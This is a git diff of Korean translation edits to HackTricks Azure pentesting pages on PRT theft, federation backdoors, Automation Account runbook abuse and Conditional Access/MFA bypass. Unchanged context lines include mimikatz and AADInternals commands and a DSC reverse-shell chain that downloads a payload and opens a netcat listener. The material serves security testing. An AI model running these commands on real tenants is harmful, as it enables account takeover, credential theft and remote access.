> [!NOTE] -> PRT 데이터가 보이지 않는 경우, **PRT가 없을 수 있습니다**. 이는 장치가 Azure AD에 가입되지 않았거나 **오래된 버전**의 Windows 10을 실행하고 있을 수 있습니다. +> PRT 데이터가 보이지 않는 경우, **PRT가 없을 수 있습니다**. 이는 귀하의 장치가 Azure AD에 가입되지 않았거나 **오래된 버전**의 Windows 10을 실행하고 있을 수 있습니다. -세션 키를 **복호화**하려면 **SYSTEM** 권한으로 **승격**하여 컴퓨터 컨텍스트에서 실행해야 **DPAPI 마스터 키를 사용하여 복호화**할 수 있습니다. 다음 명령어를 사용하여 그렇게 할 수 있습니다: +세션 키를 **해독**하려면 **SYSTEM** 권한으로 **승격**하여 컴퓨터 컨텍스트에서 실행해야 하며, 이를 통해 **DPAPI 마스터 키를 사용하여 해독할 수 있습니다**. 다음 명령어를 사용하여 그렇게 할 수 있습니다: ``` token::elevate dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect @@ -196,11 +196,11 @@ dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect #### 옵션 1 - 전체 Mimikatz -- 이제 Context 값을 복사하고 싶습니다: +- 이제 Context 값을 모두 복사하고 싶습니다:
-- 그리고 파생된 키 값을 복사합니다: +- 그리고 파생 키 값을 복사합니다:
@@ -228,7 +228,7 @@ HttpOnly: Set to True (checked) ```bash roadtx prt -a renew --prt --prt-sessionkey ``` -- 이제 `roadtx browserprtauth`를 사용하여 인터랙티브 브라우저로 **토큰을 요청**할 수 있습니다. `roadtx describe` 명령을 사용하면 액세스 토큰에 MFA 클레임이 포함되어 있음을 알 수 있습니다. 이 경우 사용한 PRT에도 MFA 클레임이 포함되어 있습니다. +- 이제 `roadtx browserprtauth`를 사용하여 **토큰을 요청**할 수 있습니다. `roadtx describe` 명령을 사용하면 액세스 토큰에 MFA 클레임이 포함되어 있음을 알 수 있습니다. 이 경우 사용한 PRT에도 MFA 클레임이 포함되어 있습니다. ```bash roadtx browserprtauth roadtx describe < .roadtools_auth @@ -237,7 +237,7 @@ roadtx describe < .roadtools_auth #### Option 3 - roadrecon을 사용한 파생 키 -mimikatz에 의해 덤프된 컨텍스트와 파생 키가 있으면, roadrecon을 사용하여 새로운 서명된 쿠키를 생성할 수 있습니다: +mimikatz에 의해 덤프된 컨텍스트와 파생 키를 가지고, roadrecon을 사용하여 새로운 서명된 쿠키를 생성할 수 있습니다: ```bash roadrecon auth --prt-cookie --prt-context --derives-key ``` diff --git a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md index 67dabf937..3ff1ea486 100644 --- a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md +++ b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md @@ -2,6 +2,8 @@ {{#include ../../banners/hacktricks-training.md}} -테스트를 시작하려면 **구독에 대한 Reader 권한**과 **AzureAD에서 Global Reader 역할**을 가진 사용자로 접근해야 합니다. 그 경우에도 **Storage 계정의 콘텐츠에 접근할 수 없는 경우**는 **Storage Account Contributor 역할**로 해결할 수 있습니다. +어떤 Entra ID 테넌트에 대한 화이트 박스 하드닝 리뷰를 시작하려면 각 테넌트에 대해 **Global Reader 역할**을 요청해야 합니다. 또한, 다양한 Azure 구독에 대한 하드닝 리뷰를 수행하려면 **모든 구독에 대한 Reader 권한**이 최소한 필요합니다. + +이 역할들이 필요한 모든 정보에 접근하기에 충분하지 않다면, 필요한 권한이 있는 역할을 클라이언트에게 요청할 수도 있습니다. 요청하는 읽기 전용이 아닌 권한의 양을 **최소화**하려고 노력하세요! {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-persistence/README.md b/src/pentesting-cloud/azure-security/az-persistence/README.md index 234464c38..bd5837d1d 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/README.md +++ b/src/pentesting-cloud/azure-security/az-persistence/README.md @@ -4,9 +4,9 @@ ### Illicit Consent Grant -기본적으로, 모든 사용자는 Azure AD에 애플리케이션을 등록할 수 있습니다. 따라서 높은 영향력을 가진 권한이 필요한 애플리케이션(대상 테넌트 전용)을 등록할 수 있으며, 관리자가 승인하면(관리자라면 승인 가능) 사용자 대신 메일 전송, 역할 관리 등의 권한을 부여할 수 있습니다. 이는 성공할 경우 매우 **결실을 맺을** 수 있는 **피싱 공격을 실행**할 수 있게 해줍니다. +기본적으로, 모든 사용자는 Azure AD에 애플리케이션을 등록할 수 있습니다. 따라서 높은 영향력 있는 권한이 필요한 애플리케이션(대상 테넌트 전용)을 등록할 수 있으며, 관리자가 승인하면(관리자라면 승인 가능) 사용자 대신 메일을 보내거나 역할 관리를 하는 등의 권한을 부여할 수 있습니다. 이는 성공할 경우 매우 **결실을 맺을** 수 있는 **피싱 공격을 실행**할 수 있게 해줍니다. -또한, 사용자가 해당 애플리케이션을 수락하여 접근을 유지할 수도 있습니다. +게다가, 사용자가 해당 애플리케이션을 수락하여 접근을 유지하는 방법으로 사용할 수도 있습니다. ### Applications and Service Principals @@ -17,31 +17,31 @@ Application Administrator, GA 또는 microsoft.directory/applications/credential 애플리케이션에 추가할 흥미로운 역할은 **특권 인증 관리자 역할**로, 이는 전역 관리자의 **비밀번호를 재설정**할 수 있게 해줍니다. 이 기술은 또한 **MFA를 우회**할 수 있게 해줍니다. -```powershell +```bash $passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd) Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a ``` - 인증서 기반 인증을 위해 -```powershell +```bash Connect-AzAccount -ServicePrincipal -Tenant -CertificateThumbprint -ApplicationId ``` ### Federation - Token Signing Certificate **DA 권한**으로 온프레미스 AD에서 **새로운 Token signing** 및 **Token Decrypt certificates**를 생성하고 가져올 수 있습니다. 이 인증서는 매우 긴 유효 기간을 가집니다. 이를 통해 우리가 아는 ImuutableID를 가진 **모든 사용자로 로그인**할 수 있습니다. -**ADFS 서버에서 DA로** 아래 명령을 실행하여 새로운 인증서를 생성하고 (기본 비밀번호 'AADInternals'), 이를 ADFS에 추가하고, 자동 롤오버를 비활성화하고, 서비스를 재시작합니다: -```powershell +**ADFS 서버에서 DA로** 아래 명령어를 실행하여 새로운 인증서를 생성하고 (기본 비밀번호 'AADInternals'), 이를 ADFS에 추가하고, 자동 롤오버를 비활성화한 후 서비스를 재시작합니다: +```bash New-AADIntADFSSelfSignedCertificates ``` 그런 다음 Azure AD로 인증서 정보를 업데이트합니다: -```powershell +```bash Update-AADIntADFSFederationSettings -Domain cyberranges.io ``` ### Federation - Trusted Domain GA 권한이 있는 테넌트에서 **새 도메인 추가** (검증 필요), 인증 유형을 Federated로 설정하고 도메인이 **특정 인증서** (아래 명령의 any.sts) 및 발급자를 **신뢰하도록** 구성할 수 있습니다: -```powershell +```bash # Using AADInternals ConvertTo-AADIntBackdoor -DomainName cyberranges.io @@ -51,7 +51,7 @@ Get-MsolUser | select userPrincipalName,ImmutableID # Access any cloud app as the user Open-AADIntOffice365Portal -ImmutableID qIMPTm2Q3kimHgg4KQyveA== -Issuer "http://any.sts/B231A11F" -UseBuiltInCertificate -ByPassMFA$true ``` -## 참고 문헌 +## References - [https://aadinternalsbackdoor.azurewebsites.net/](https://aadinternalsbackdoor.azurewebsites.net/) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md index 4ed9dd582..f01d8406e 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -12,16 +12,16 @@ ### Hybrid Workers Group -공격자가 하이브리드 워커에서 임의의 런북(임의 코드)을 실행할 수 있다면, 그는 **VM의 위치로 피벗할 것입니다**. 이는 온프레미스 머신, 다른 클라우드의 VPC 또는 Azure VM일 수 있습니다. +공격자가 하이브리드 워커에서 임의의 런북(임의 코드)을 실행할 수 있는 경우, 그는 **VM의 위치로 피벗할 것입니다**. 이는 온프레미스 머신, 다른 클라우드의 VPC 또는 Azure VM일 수 있습니다. -게다가, 하이브리드 워커가 Azure에서 다른 관리 ID가 연결된 상태로 실행되고 있다면, 런북은 **런북의 관리 ID와 VM의 모든 관리 ID에 접근할 수 있습니다.** +게다가, 하이브리드 워커가 Azure에서 다른 관리 ID가 연결된 상태로 실행되고 있다면, 런북은 **런북의 관리 ID와 VM의 모든 관리 ID에 접근할 수 있습니다**. > [!TIP] > **메타데이터 서비스**는 관리 ID 토큰을 가져오는 서비스와 다른 URL (**`http://169.254.169.254`**)을 가지고 있다는 점을 기억하세요 (**`IDENTITY_ENDPOINT`**). ### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`) -요약하자면, 이러한 권한은 **Automation Account에서 런북을 생성, 수정 및 실행**할 수 있게 하며, 이를 통해 **Automation Account의 컨텍스트에서 코드를 실행하고 할당된 **Managed Identities**에 대한 권한을 상승시키며, Automation Account에 저장된 **자격 증명** 및 **암호화된 변수**를 유출할 수 있습니다. +요약하자면, 이러한 권한은 **Automation Account에서 런북을 생성, 수정 및 실행**할 수 있게 하며, 이를 통해 **Automation Account의 컨텍스트에서 코드를 실행**하고 할당된 **Managed Identities**에 대한 권한을 상승시키며 **자격 증명**과 **암호화된 변수**를 Automation Account에 저장된 상태로 유출할 수 있습니다. 권한 **`Microsoft.Automation/automationAccounts/runbooks/draft/write`**는 Automation Account에서 런북의 코드를 수정할 수 있게 해줍니다: ```bash @@ -58,7 +58,7 @@ az automation runbook start \ az rest --method GET \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobs//output?api-version=2023-11-01" ``` -Runbooks가 생성되지 않았거나 새로 만들고 싶다면, 다음을 사용하여 수행하기 위해 **권한 `Microsoft.Resources/subscriptions/resourcegroups/read` 및 `Microsoft.Automation/automationAccounts/runbooks/write`**가 필요합니다: +Runbook이 생성되지 않았거나 새로 만들고 싶다면, 다음을 사용하여 수행하기 위해 **권한 `Microsoft.Resources/subscriptions/resourcegroups/read` 및 `Microsoft.Automation/automationAccounts/runbooks/write`**가 필요합니다: ```bash az automation runbook create --automation-account-name --resource-group --name --type PowerShell ``` @@ -80,7 +80,7 @@ az rest --method PATCH \ ``` ### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write` -권한 **`Microsoft.Automation/automationAccounts/schedules/write`**를 사용하면 다음 명령을 사용하여 15분마다 실행되는 새로운 스케줄을 자동화 계정에 생성할 수 있습니다(그리 은밀하지 않음). +권한 **`Microsoft.Automation/automationAccounts/schedules/write`**를 사용하면 다음 명령을 사용하여 15분마다 실행되는 새로운 스케줄을 자동화 계정에 생성할 수 있습니다 (그리 은밀하지 않음). 스케줄의 **최소 간격은 15분**이며, **최소 시작 시간은 5분** 후입니다. ```bash @@ -104,7 +104,7 @@ az automation schedule create \ --frequency Minute \ --interval 15 ``` -그런 다음, 권한 **`Microsoft.Automation/automationAccounts/jobSchedules/write`**를 사용하여 다음을 통해 런북에 스케줄러를 할당할 수 있습니다: +그런 다음, 권한 **`Microsoft.Automation/automationAccounts/jobSchedules/write`**를 사용하여 runbook에 Scheduler를 할당할 수 있습니다: ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \ @@ -123,13 +123,13 @@ az rest --method PUT \ }' ``` > [!TIP] -> 이전 예제에서 jobchedule id는 **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` 예시**로 남겨졌지만, 이 할당을 생성하려면 임의의 값을 사용해야 합니다. +> 이전 예제에서 jobchedule id는 **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` 예시로** 남겨졌지만, 이 할당을 생성하려면 임의의 값을 사용해야 합니다. ### `Microsoft.Automation/automationAccounts/webhooks/write` -권한 **`Microsoft.Automation/automationAccounts/webhooks/write`**를 사용하면 다음 명령을 통해 Automation Account 내의 Runbook에 대한 새로운 Webhook을 생성할 수 있습니다. +권한 **`Microsoft.Automation/automationAccounts/webhooks/write`**를 사용하면 다음 명령어를 통해 Automation Account 내의 Runbook에 대한 새로운 Webhook을 생성할 수 있습니다. -웹훅 URI를 사용할 토큰과 함께 **지정해야** 한다는 점에 유의하세요. +웹훅 URI와 사용할 토큰을 **지정해야** 한다는 점에 유의하세요. ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//webhooks/?api-version=2018-06-30" \ @@ -194,7 +194,7 @@ az automation source-control create \ --token-type PersonalAccessToken \ --access-token github_pat_11AEDCVZ ``` -이것은 자동으로 Github 저장소에서 Automation Account로 runbook을 가져오고, 이를 실행하기 위한 다른 권한이 있으면 **권한 상승**이 **가능할** 것입니다. +이것은 자동으로 Github 저장소에서 Automation Account로 runbooks를 가져오고, 이를 실행하기 위한 다른 권한이 있으면 **권한 상승**이 **가능**합니다. 또한, Automation Accounts에서 소스 제어가 작동하려면 관리되는 ID가 **`Contributor`** 역할을 가져야 하며, 사용자 관리 ID인 경우 MI의 클라이언트 ID는 변수 **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**에 지정되어야 합니다. @@ -217,15 +217,15 @@ az rest --method PUT \ } }' ``` -### 사용자 정의 런타임 환경 +### Custom Runtime Environments -자동화 계정이 사용자 정의 런타임 환경을 사용하고 있다면, 런타임의 사용자 정의 패키지를 악성 코드(예: **백도어**)로 덮어쓸 수 있을 가능성이 있습니다. 이렇게 하면 해당 사용자 정의 런타임을 사용하는 런북이 실행되고 사용자 정의 패키지를 로드할 때마다 악성 코드가 실행됩니다. +자동화 계정이 사용자 정의 런타임 환경을 사용하는 경우, 런타임의 사용자 정의 패키지를 악성 코드(예: **백도어**)로 덮어쓸 수 있습니다. 이렇게 하면 해당 사용자 정의 런타임을 사용하는 런북이 실행되고 사용자 정의 패키지를 로드할 때 악성 코드가 실행됩니다. -### 상태 구성 손상 +### Compromising State Configuration **전체 게시물을 확인하세요:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe) -- 1단계 — 파일 생성 +- Step 1 — Create Files **필요한 파일:** 두 개의 PowerShell 스크립트가 필요합니다: 1. `reverse_shell_config.ps1`: 페이로드를 가져와 실행하는 Desired State Configuration (DSC) 파일입니다. [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1)에서 얻을 수 있습니다. @@ -233,19 +233,19 @@ az rest --method PUT \ **사용자 정의:** 이 파일의 변수와 매개변수는 리소스 이름, 파일 경로 및 서버/페이로드 식별자를 포함하여 사용자의 특정 환경에 맞게 조정해야 합니다. -- 2단계 — 구성 파일 압축 +- Step 2 — Zip Configuration File -`reverse_shell_config.ps1`는 `.zip` 파일로 압축되어 Azure Storage Account로 전송할 준비가 됩니다. -```powershell +`reverse_shell_config.ps1`는 Azure Storage Account로 전송할 준비가 된 `.zip` 파일로 압축됩니다. +```bash Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip ``` -- Step 3 — 저장소 컨텍스트 설정 및 업로드 +- Step 3 — Storage Context 설정 및 업로드 압축된 구성 파일은 Azure의 Set-AzStorageBlobContent cmdlet을 사용하여 미리 정의된 Azure Storage 컨테이너인 azure-pentest에 업로드됩니다. -```powershell +```bash Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx ``` -- Step 4 — Prep Kali Box +- Step 4 — Kali 박스 준비 Kali 서버는 GitHub 리포지토리에서 RevPS.ps1 페이로드를 다운로드합니다. ```bash @@ -259,7 +259,7 @@ wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1 - Step 6 — 페이로드 호스팅 및 리스너 설정 -페이로드를 호스팅하기 위해 Python SimpleHTTPServer가 시작되며, 들어오는 연결을 캡처하기 위해 Netcat 리스너가 설정됩니다. +페이로드를 호스팅하기 위해 Python SimpleHTTPServer가 시작되며, 수신 연결을 캡처하기 위해 Netcat 리스너가 설정됩니다. ```bash sudo python -m SimpleHTTPServer 80 sudo nc -nlvp 443 diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md index c0de144f8..d9db36c20 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -4,38 +4,38 @@ ## Basic Information -Azure Conditional Access 정책은 특정 **조건**에 따라 Azure 서비스 및 애플리케이션에 대한 액세스 제어를 시행하기 위해 Microsoft Azure에서 설정한 규칙입니다. 이러한 정책은 적절한 상황에서 올바른 액세스 제어를 적용하여 조직이 자원을 보호하는 데 도움을 줍니다.\ +Azure Conditional Access 정책은 특정 **조건**에 따라 Azure 서비스 및 애플리케이션에 대한 액세스 제어를 시행하기 위해 Microsoft Azure에서 설정된 규칙입니다. 이러한 정책은 적절한 상황에서 올바른 액세스 제어를 적용하여 조직이 자원을 보호하는 데 도움을 줍니다.\ Conditional access 정책은 기본적으로 **누가** **어디서** **무엇**에 접근할 수 있는지를 **어떻게** 정의합니다. 여기 몇 가지 예가 있습니다: -1. **Sign-In Risk Policy**: 이 정책은 로그인 위험이 감지될 때 다단계 인증(MFA)을 요구하도록 설정될 수 있습니다. 예를 들어, 사용자의 로그인 행동이 정기적인 패턴과 비교하여 비정상적일 경우, 예를 들어 다른 국가에서 로그인하는 경우, 시스템은 추가 인증을 요청할 수 있습니다. -2. **Device Compliance Policy**: 이 정책은 조직의 보안 기준을 준수하는 장치에만 Azure 서비스에 대한 액세스를 제한할 수 있습니다. 예를 들어, 최신 바이러스 백신 소프트웨어가 설치된 장치나 특정 운영 체제 버전을 실행하는 장치에서만 액세스가 허용될 수 있습니다. +1. **로그인 위험 정책**: 이 정책은 로그인 위험이 감지될 때 다단계 인증(MFA)을 요구하도록 설정될 수 있습니다. 예를 들어, 사용자의 로그인 행동이 정기적인 패턴과 비교하여 비정상적일 경우, 예를 들어 다른 국가에서 로그인하는 경우, 시스템은 추가 인증을 요청할 수 있습니다. +2. **장치 준수 정책**: 이 정책은 조직의 보안 기준을 준수하는 장치에만 Azure 서비스에 대한 액세스를 제한할 수 있습니다. 예를 들어, 최신 바이러스 백신 소프트웨어가 설치된 장치나 특정 운영 체제 버전을 실행하는 장치에서만 액세스가 허용될 수 있습니다. ## Conditional Access Policies Bypasses -Conditional access 정책이 **우회할 수 있는 정보를 쉽게 조작하고 있는 경우**가 있을 수 있습니다. 예를 들어, 정책이 MFA를 구성하고 있다면 공격자는 이를 우회할 수 있습니다. +Conditional access 정책이 **우회할 수 있는 정보를 확인하고 있을 가능성이 있습니다**. 예를 들어, 정책이 MFA를 구성하고 있다면 공격자는 이를 우회할 수 있습니다. Conditional access 정책을 구성할 때는 **영향을 받는 사용자**와 **대상 리소스**(모든 클라우드 앱과 같은)를 지정해야 합니다. 또한 **정책을 트리거할 조건**을 구성해야 합니다: -- **Network**: IP, IP 범위 및 지리적 위치 +- **네트워크**: IP, IP 범위 및 지리적 위치 - VPN 또는 프록시를 사용하여 허용된 IP 주소에서 로그인하거나 특정 국가에 연결하여 우회할 수 있습니다. -- **Microsoft risks**: 사용자 위험, 로그인 위험, 내부자 위험 -- **Device platforms**: 모든 장치 또는 Android, iOS, Windows phone, Windows, macOS, Linux 선택 +- **Microsoft 위험**: 사용자 위험, 로그인 위험, 내부자 위험 +- **장치 플랫폼**: 모든 장치 또는 Android, iOS, Windows Phone, Windows, macOS, Linux 선택 - “모든 장치”가 선택되지 않았지만 다른 모든 옵션이 선택된 경우, 해당 플랫폼과 관련이 없는 임의의 사용자 에이전트를 사용하여 우회할 수 있습니다. -- **Client apps**: 옵션은 “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” 및 “Other clients”입니다. +- **클라이언트 앱**: 옵션은 “브라우저”, “모바일 앱 및 데스크톱 클라이언트”, “Exchange ActiveSync 클라이언트” 및 “기타 클라이언트”입니다. - 선택되지 않은 옵션으로 로그인하여 우회할 수 있습니다. -- **Filter for devices**: 사용된 장치와 관련된 규칙을 생성할 수 있습니다. -- **Authentication flows**: 옵션은 “Device code flow” 및 “Authentication transfer”입니다. +- **장치 필터**: 사용된 장치와 관련된 규칙을 생성할 수 있습니다. +- **인증 흐름**: 옵션은 “장치 코드 흐름” 및 “인증 전송”입니다. - 이는 공격자가 피해자의 계정에 접근하기 위해 피싱 시도를 하는 경우가 아니라면 영향을 미치지 않습니다. 가능한 **결과**는: 차단 또는 MFA 요구, 장치 준수와 같은 잠재적 조건으로 액세스 허용입니다… ### Device Platforms - Device Condition -**장치 플랫폼**(Android, iOS, Windows, macOS...)에 따라 조건을 설정할 수 있지만, 이는 **사용자 에이전트**에 기반하므로 쉽게 우회할 수 있습니다. 모든 옵션에서 MFA를 강제하더라도, **인식되지 않는 사용자 에이전트**를 사용하면 MFA 또는 차단을 우회할 수 있습니다: +**장치 플랫폼**(Android, iOS, Windows, macOS 등)을 기반으로 조건을 설정할 수 있지만, 이는 **사용자 에이전트**에 기반하므로 우회하기 쉽습니다. 모든 옵션에서 MFA를 강제하더라도, **인식되지 않는 사용자 에이전트**를 사용하면 MFA 또는 차단을 우회할 수 있습니다:
@@ -57,7 +57,7 @@ Conditional access 정책을 구성할 때는 **영향을 받는 사용자**와
이 보호를 우회하려면 **모든 애플리케이션**에 **로그인할 수 있는지** 확인해야 합니다.\ -도구 [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)는 **하드코딩된 수십 개의 애플리케이션 ID**를 가지고 있으며, 이들에 로그인 시도를 하고 성공하면 토큰을 알려줍니다. +도구 [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)는 **하드코딩된 수십 개의 애플리케이션 ID**를 가지고 있으며, 이들에 로그인 시도하고 성공하면 토큰을 제공해줍니다. 특정 리소스에서 **특정 애플리케이션 ID를 테스트**하려면 다음과 같은 도구를 사용할 수 있습니다: ```bash @@ -65,7 +65,7 @@ roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4 ``` -또한 로그인 방법을 보호하는 것도 가능합니다(예: 브라우저나 데스크톱 애플리케이션에서 로그인하려고 할 때). 도구 [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep)는 이러한 보호를 우회하려고 몇 가지 검사를 수행합니다. +또한 로그인 방법을 보호하는 것도 가능합니다(예: 브라우저 또는 데스크톱 애플리케이션에서 로그인하려고 하는 경우). 도구 [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep)는 이러한 보호를 우회하려고 시도하는 몇 가지 검사를 수행합니다. 도구 [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken)도 유사한 목적으로 사용될 수 있지만, 유지 관리가 되지 않는 것처럼 보입니다. @@ -78,14 +78,14 @@ roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4 Azure MFA 옵션 중 하나는 **구성된 전화번호로 전화를 받는 것**이며, 사용자에게 **문자 `#`을 전송하라는 요청**이 있습니다. > [!CAUTION] -> 문자들은 단지 **톤**일 뿐이므로, 공격자는 **전화번호의 음성 메일** 메시지를 **타협**하고, 메시지로 **`#`의 톤**을 설정한 다음, MFA 요청 시 **피해자의 전화가 통화 중**인지 확인하여 Azure 전화를 음성 메일로 리디렉션할 수 있습니다. +> 문자들은 단지 **톤**일 뿐이므로, 공격자는 **전화번호의 음성 메일** 메시지를 **타협**하고, 메시지로 **`#`의 톤**을 설정한 다음, MFA 요청 시 **피해자의 전화가 통화 중**이 되도록 하여 Azure 전화를 음성 메일로 리디렉션할 수 있습니다. ### 준수 장치 정책은 종종 준수 장치 또는 MFA를 요구하므로, **공격자는 준수 장치를 등록하고**, **PRT** 토큰을 얻어 **이 방법으로 MFA를 우회할 수 있습니다**. 먼저 **Intune에 준수 장치를 등록한 다음**, **PRT를 얻으세요**: -```powershell +```bash $prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\.pfx -Credentials $credentials $prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce @@ -94,7 +94,7 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken ``` -다음 페이지에서 이러한 종류의 공격에 대한 더 많은 정보를 찾으십시오: +다음 페이지에서 이러한 종류의 공격에 대한 추가 정보를 찾으십시오: {{#ref}} ../../az-lateral-movement-cloud-on-prem/pass-the-prt.md @@ -123,7 +123,7 @@ Invoke-MFASweep -Username -Password ``` ### [ROPCI](https://github.com/wunderwuzzi23/ropci) -이 도구는 MFA 우회를 식별하고 여러 생산 AAD 테넌트에서 API를 악용하는 데 도움을 주었습니다. AAD 고객은 MFA가 적용되었다고 믿었지만 ROPC 기반 인증이 성공했습니다. +이 도구는 MFA 우회 방법을 식별하고 여러 생산 AAD 테넌트에서 API를 악용하는 데 도움을 주었습니다. AAD 고객은 MFA가 적용되었다고 믿었지만 ROPC 기반 인증이 성공했습니다. > [!TIP] > 앱을 무차별 대입할 수 있는 앱 목록을 생성하려면 모든 애플리케이션을 나열할 수 있는 권한이 필요합니다. @@ -142,19 +142,19 @@ Donkey token은 Conditional Access Policies를 검증해야 하는 보안 컨설 **각 포털을 테스트**하여 **MFA 없이 로그인할 수 있는지** 확인합니다: -```powershell +```bash $username = "conditional-access-app-user@azure.training.hacktricks.xyz" $password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential($username, $password) Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue ``` **Azure** **포털**이 **제한되지 않기 때문에**, 이전 실행에서 감지된 모든 서비스에 접근하기 위해 포털 엔드포인트에서 **토큰을 수집하는 것이 가능합니다**. 이 경우 Sharepoint가 식별되었고, 이를 접근하기 위한 토큰이 요청됩니다: -```powershell +```bash $token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune Read-JWTtoken -token $token.access_token ``` 토큰이 Sites.Read.All 권한(Sharepoint에서) 을 가지고 있다고 가정할 때, MFA 때문에 웹에서 Sharepoint에 접근할 수 없더라도, 생성된 토큰을 사용하여 파일에 접근하는 것이 가능합니다: -```powershell +```bash $data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl ``` ## References diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md index c94c7bca2..e45bf8691 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md @@ -1,18 +1,18 @@ -# Az - 동적 그룹 권한 상승 +# Az - Dynamic Groups Privesc {{#include ../../../../banners/hacktricks-training.md}} ## 기본 정보 -**동적 그룹**은 설정된 **규칙** 세트를 가진 그룹으로, 규칙에 맞는 모든 **사용자 또는 장치**가 그룹에 추가됩니다. 사용자 또는 장치의 **속성**이 **변경**될 때마다 동적 규칙이 **재확인**됩니다. 그리고 **새 규칙**이 **생성**되면 모든 장치와 사용자가 **확인**됩니다. +**Dynamic groups**는 설정된 **규칙** 세트를 가진 그룹으로, 규칙에 맞는 모든 **사용자 또는 장치**가 그룹에 추가됩니다. 사용자 또는 장치의 **속성**이 **변경**될 때마다 동적 규칙이 **재확인**됩니다. 그리고 **새 규칙**이 **생성**되면 모든 장치와 사용자가 **확인**됩니다. -동적 그룹에는 **Azure RBAC 역할**이 할당될 수 있지만, **AzureAD 역할**을 동적 그룹에 추가하는 것은 **불가능**합니다. +Dynamic groups는 **Azure RBAC 역할**을 할당받을 수 있지만, **AzureAD 역할**을 동적 그룹에 추가하는 것은 **불가능**합니다. -이 기능은 Azure AD 프리미엄 P1 라이센스가 필요합니다. +이 기능은 Azure AD premium P1 라이센스가 필요합니다. -## 권한 상승 +## Privesc -기본적으로 모든 사용자가 Azure AD에서 게스트를 초대할 수 있으므로, 동적 그룹의 **규칙**이 **속성**에 따라 사용자에게 **권한**을 부여하는 경우, 이러한 속성을 가진 **게스트**를 **생성**하여 **권한을 상승**시킬 수 있습니다. 게스트는 자신의 프로필을 관리하고 이러한 속성을 변경할 수도 있습니다. +기본적으로 모든 사용자가 Azure AD에서 게스트를 초대할 수 있으므로, 동적 그룹의 **규칙**이 **속성**에 따라 사용자에게 **권한**을 부여하는 경우, 이러한 속성을 가진 **게스트**를 **생성**하여 **권한 상승**을 할 수 있습니다. 게스트는 자신의 프로필을 관리하고 이러한 